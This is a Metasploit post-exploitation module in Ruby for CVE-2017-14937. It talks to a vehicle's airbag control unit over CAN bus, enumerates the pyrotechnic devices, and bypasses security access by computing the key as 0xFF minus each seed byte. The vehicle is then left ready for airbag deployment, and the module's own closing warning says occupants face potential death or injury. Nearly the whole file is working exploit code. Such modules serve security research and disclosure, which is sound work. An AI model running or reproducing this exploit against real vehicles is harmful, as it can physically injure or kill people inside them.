310 lines
14 KiB
Ruby
310 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex'
|
|
require 'msf/core/post/hardware/automotive/uds'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::Hardware::Automotive::UDS
|
|
include Msf::Post::Hardware::Automotive::DTC
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
|
|
'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
|
|
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
|
|
to discover how many pyrotechnic devices are present, then attempt to validate
|
|
the security access token using the default simplified algorithm. On success,
|
|
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
|
|
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) },
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Johannes Braun', # original research
|
|
'Juergen Duerrwang', # original research
|
|
'Craig Smith' # research and module author
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2017-14937' ],
|
|
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
|
|
],
|
|
'Platform' => ['hardware'],
|
|
'SessionTypes' => ['hwbridge']
|
|
))
|
|
register_options([
|
|
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
|
|
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
|
|
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
|
|
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
|
|
])
|
|
end
|
|
|
|
LOOP_TABLE = {
|
|
0x00 => 'ISOSAEReserved',
|
|
0x01 => 'airbag driver side frontal 1st stage',
|
|
0x02 => 'airbag left side frontal 1st stage',
|
|
0x03 => 'airbag right side frontal 1st stage',
|
|
0x04 => 'airbag driver side frontal 2nd stage',
|
|
0x05 => 'airbag left side frontal 2nd stage',
|
|
0x06 => 'airbag right side frontal 2nd stage',
|
|
0x07 => 'airbag driver side frontal 3rd stage',
|
|
0x08 => 'airbag left side frontal 3rd stage',
|
|
0x09 => 'airbag right side frontal 3rd stage',
|
|
0x0A => 'airbag passenger side frontal 1st stage',
|
|
0x0B => 'airbag passenger side frontal 2nd stage',
|
|
0x0C => 'airbag passenger side frontal 3rd stage',
|
|
0x0D => 'airbag left side frontal 3rd stage',
|
|
0x0E => 'airbag right side frontal 3rd stage',
|
|
0x0F => 'airbag passenger frontal 1st stage - center',
|
|
0x10 => 'airbag passenger frontal 2nd stage - center',
|
|
0x11 => 'airbag passenger frontal 3rd stage - center',
|
|
0x12 => '1st pretensioner driver side',
|
|
0x13 => '1st pretensioner left side',
|
|
0x14 => '1st pretensioner right side',
|
|
0x15 => '2nd pretensioner driver side',
|
|
0x16 => '2nd pretensioner left side',
|
|
0x17 => '2nd pretensioner right side',
|
|
0x18 => '1st pretensioner passenger side',
|
|
0x19 => '2nd pretensioner passenger side',
|
|
0x1A => '1st pretensioner passenger - center',
|
|
0x1B => '2nd pretensioner passenger - center',
|
|
0x1C => '1st pretensioner (2nd row) left',
|
|
0x1D => '2nd pretensioner (2nd row) left',
|
|
0x1E => '1st pretensioner (2nd row) right',
|
|
0x1F => '2nd pretensioner (2nd row) right',
|
|
0x20 => '1st pretensioner (2nd row) center',
|
|
0x21 => '2nd pretensioner (2nd row) center',
|
|
0x22 => '1st pretensioner (3rd row) left',
|
|
0x23 => '2nd pretensioner (3rd row) left',
|
|
0x24 => '1st pretensioner (3rd row) right',
|
|
0x25 => '2nd pretensioner (3rd row) right',
|
|
0x26 => '1st pretensioner (3rd row) center',
|
|
0x27 => '2nd pretensioner (3rd row) center',
|
|
0x28 => 'belt force limiter driver side',
|
|
0x29 => 'belt force limiter left side',
|
|
0x2A => 'belt force limiter right side',
|
|
0x2B => 'belt force limiter passenger side',
|
|
0x2C => 'belt force limiter passenger side - center',
|
|
0x2D => 'belt force limiter 2nd row - left',
|
|
0x2E => 'belt force limiter 2nd row - right',
|
|
0x2F => 'belt force limiter 2nd row - center',
|
|
0x30 => 'belt force limiter 3rd row - left',
|
|
0x31 => 'belt force limiter 3rd row - right',
|
|
0x32 => 'belt force limiter 3rd row - center',
|
|
0x33 => 'headbag - driver side (roof mounted)',
|
|
0x34 => 'headbag - passenger side (roof mounted)',
|
|
0x35 => 'headbag - right side (roof mounted)',
|
|
0x36 => 'headbag - left side (roof mounted)',
|
|
0x37 => 'headbag - 2nd row - left (roof mounted)',
|
|
0x38 => 'headbag - 2nd row - right (roof mounted)',
|
|
0x39 => 'headbag - 3rd row - left (roof mounted)',
|
|
0x3A => 'headbag - 3rd row - right (roof mounted)',
|
|
0x3B => 'sidebag (curtain) - driver side',
|
|
0x3C => 'sidebag (curtain) - passenger side',
|
|
0x3D => 'sidebag (curtain) - left side',
|
|
0x3E => 'sidebag (curtain) - right side',
|
|
0x3F => 'sidebag (curtain) - 2nd row - left',
|
|
0x40 => 'sidebag (curtain) - 2nd row - right',
|
|
0x41 => 'sidebag (curtain) - 3rd row - left',
|
|
0x42 => 'sidebag (curtain) - 3rd row - right',
|
|
0x43 => 'sidebag - driver side (door mounted)',
|
|
0x44 => 'sidebag - passenger side (door mounted)',
|
|
0x45 => 'sidebag - left side (door mounted)',
|
|
0x46 => 'sidebag - right side (door mounted)',
|
|
0x47 => 'sidebag - 2nd row - left (door mounted)',
|
|
0x48 => 'sidebag - 2nd row - right (door mounted)',
|
|
0x49 => 'sidebag - 3rd row - left (door mounted)',
|
|
0x4A => 'sidebag - 3rd row - right (door mounted)',
|
|
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
|
|
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
|
|
0x4D => 'seatbag (cushion) - left side (seat mounted)',
|
|
0x4E => 'seatbag (cushion) - right side (seat mounted)',
|
|
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
|
|
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
|
|
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
|
|
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
|
|
0x53 => 'kneebag - driver side',
|
|
0x54 => 'kneebag - passenger side',
|
|
0x55 => 'kneebag - left side',
|
|
0x56 => 'kneebag - right side',
|
|
0x57 => 'kneebag - passenger side - center',
|
|
0x58 => 'footbag - driver side',
|
|
0x59 => 'footbag - passenger side',
|
|
0x5A => 'footbag - left side',
|
|
0x5B => 'footbag - right side',
|
|
0x5C => 'footbag - passenger side - center',
|
|
0x5E => 'active headrest - driver side',
|
|
0x5F => 'active headrest - passenger side',
|
|
0x60 => 'active headrest - left side',
|
|
0x61 => 'active headrest - right side',
|
|
0x62 => 'active headrest - passenger side - center',
|
|
0x63 => 'active headrest - 2nd row - left',
|
|
0x64 => 'active headrest - 2nd row - right',
|
|
0x65 => 'active headrest - 2nd row - center',
|
|
0x66 => 'active headrest - 3rd row - left',
|
|
0x67 => 'active headrest - 3rd row - right',
|
|
0x68 => 'active headrest - 3rd row - center',
|
|
0x69 => 'battery clamp main battery',
|
|
0x6A => 'battery clamp 2nd battery',
|
|
0x6B => 'battery clamp 3rd battery',
|
|
0x6C => 'battery clamp 4th battery',
|
|
0x6D => 'roof-airbag front',
|
|
0x6E => 'roof-airbag front',
|
|
0x6F => 'bag in belt driver side',
|
|
0x70 => 'bag in belt passenger side',
|
|
0x71 => 'bag in belt left side',
|
|
0x72 => 'bag in belt right side',
|
|
0x73 => 'bag in belt passenger side - center',
|
|
0x74 => 'bag in belt 2nd row - left',
|
|
0x75 => 'bag in belt 2nd row - right',
|
|
0x76 => 'bag in belt 2nd row - center',
|
|
0x77 => 'bag in belt 3rd row - left',
|
|
0x78 => 'bag in belt 3rd row - right',
|
|
0x79 => 'bag in belt 3rd row - center',
|
|
0x7A => 'rollover bar #1',
|
|
0x7B => 'rollover bar #2',
|
|
0x7C => 'rollover bar #3',
|
|
0x7D => 'rollover bar #4',
|
|
0x7E => 'active anti-submarining driver seat',
|
|
0x7F => 'active anti-submarining passenger seat',
|
|
0x80 => 'active anti-submarining left seat',
|
|
0x81 => 'active anti-submarining right seat',
|
|
0x82 => 'active anti-submarining passenger seat - center',
|
|
0x83 => 'active anti-submarining seat 2nd row - left',
|
|
0x84 => 'active anti-submarining seat 2nd row - right',
|
|
0x85 => 'active anti-submarining seat 2nd row - center',
|
|
0x86 => 'active anti-submarining seat 3rd row - left',
|
|
0x87 => 'active anti-submarining seat 3rd row - right',
|
|
0x88 => 'active anti-submarining seat 3rd row - center',
|
|
0x89 => 'pedestrian protection front left hood lifter',
|
|
0x8A => 'pedestrian protection front right hood lifter',
|
|
0x8B => 'pedestrian protection rear left hood lifter',
|
|
0x8C => 'pedestrian protection rear right hood lifter',
|
|
0x8D => 'pedestrian protection a-pillar left',
|
|
0x8E => 'pedestrian protection a-pillar right',
|
|
0x8F => 'pedestrian protection wind screen',
|
|
0x90 => 'pedestrian protection bumper left',
|
|
0x91 => 'pedestrian protection bumper center',
|
|
0x92 => 'pedestrian protection bumper right',
|
|
0x93 => 'active steering column',
|
|
0x94 => 'front screen - emergency release',
|
|
0x95 => 'read window - emergency release'
|
|
}
|
|
|
|
ACL_TYPES = {
|
|
0x01 => 'CAN only',
|
|
0x02 => 'ACL Comm Mode 12V',
|
|
0x03 => 'ACL PWM FixedLevel 8V',
|
|
0x04 => 'ACL Comm Mode 24V',
|
|
0x05 => 'ACL PWM UbattLevel 12V',
|
|
0x06 => 'ACL PWM UbattLevel 24V'
|
|
}
|
|
|
|
PCU_ADDRESS_FORMAT = {
|
|
0x01 => '11 bit normal addressing',
|
|
0x02 => '11 bit extended addressing',
|
|
0x03 => '11 bit mixed addressing',
|
|
0x04 => '29 bit normal fixed addressing',
|
|
0x05 => '29 bit mixed addressing',
|
|
0x06 => '29 bit unique addressing'
|
|
}
|
|
|
|
def print_vin(vin)
|
|
return "" if vin.nil?
|
|
vin.map! { |d| d.hex.chr }
|
|
print_status(" VIN: #{vin.join}")
|
|
end
|
|
|
|
def print_loop_table(loopid)
|
|
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
|
|
(3..loopid.size).each do |i|
|
|
if i % 2 == 1
|
|
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
|
|
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
|
|
else
|
|
print_status(" #{loopid[i]} | <<UNKNOWN>>")
|
|
end
|
|
else
|
|
if loopid[i] && loopid[i].hex == 0
|
|
print_status(' | Deployment Status: Good')
|
|
else
|
|
print_status(" | Deployment Status: Fail (#{loopid[i]})")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def run
|
|
opt = {}
|
|
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
|
|
print_status('Gathering Data...')
|
|
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
|
|
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
|
|
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
|
|
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
|
|
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
|
|
acl_type_definition = loopid[0]
|
|
acl_type_version = loopid[1]
|
|
no_of_charges = loopid[2]
|
|
|
|
print_vin(vin)
|
|
print_loop_table(loopid)
|
|
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
|
|
print_status(' Info About First PCU')
|
|
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
|
|
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
|
|
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
|
|
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
|
|
print_status(" ACL Type version | #{acl_type_version.hex}")
|
|
print_status
|
|
print_status('Switching to Diagnostic Session 0x04...')
|
|
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
|
|
if resp.key? 'error'
|
|
print_error("Could not switch to DSC 0x04: #{resp['error']}")
|
|
return
|
|
end
|
|
# We may not need tester present at all because we will perform the action quickly
|
|
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
|
|
print_status('Getting Security Access Seed...')
|
|
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
|
|
if seed.key? 'error'
|
|
print_error("Couldn't get seed: #{seed['error']}")
|
|
return
|
|
end
|
|
print_status("Success. Seed: #{seed['SEED']}")
|
|
print_status('Attempting to unlock device...')
|
|
display_warning = false
|
|
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
|
|
print_status('Security Access Already Unlocked!!')
|
|
display_warning = true
|
|
else
|
|
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
|
|
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
|
|
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
|
|
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
|
|
return
|
|
end
|
|
found_valid = false
|
|
if (resp.key? 'Packets') && resp['Packets'].size > 0
|
|
resp['Packets'].each do |i|
|
|
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
|
|
end
|
|
end
|
|
if found_valid
|
|
print_status('Success!')
|
|
display_warning = true
|
|
else
|
|
print_error("Unknown response: #{resp.inspect}")
|
|
end
|
|
end
|
|
if display_warning
|
|
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
|
|
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
|
|
end
|
|
end
|
|
|
|
end
|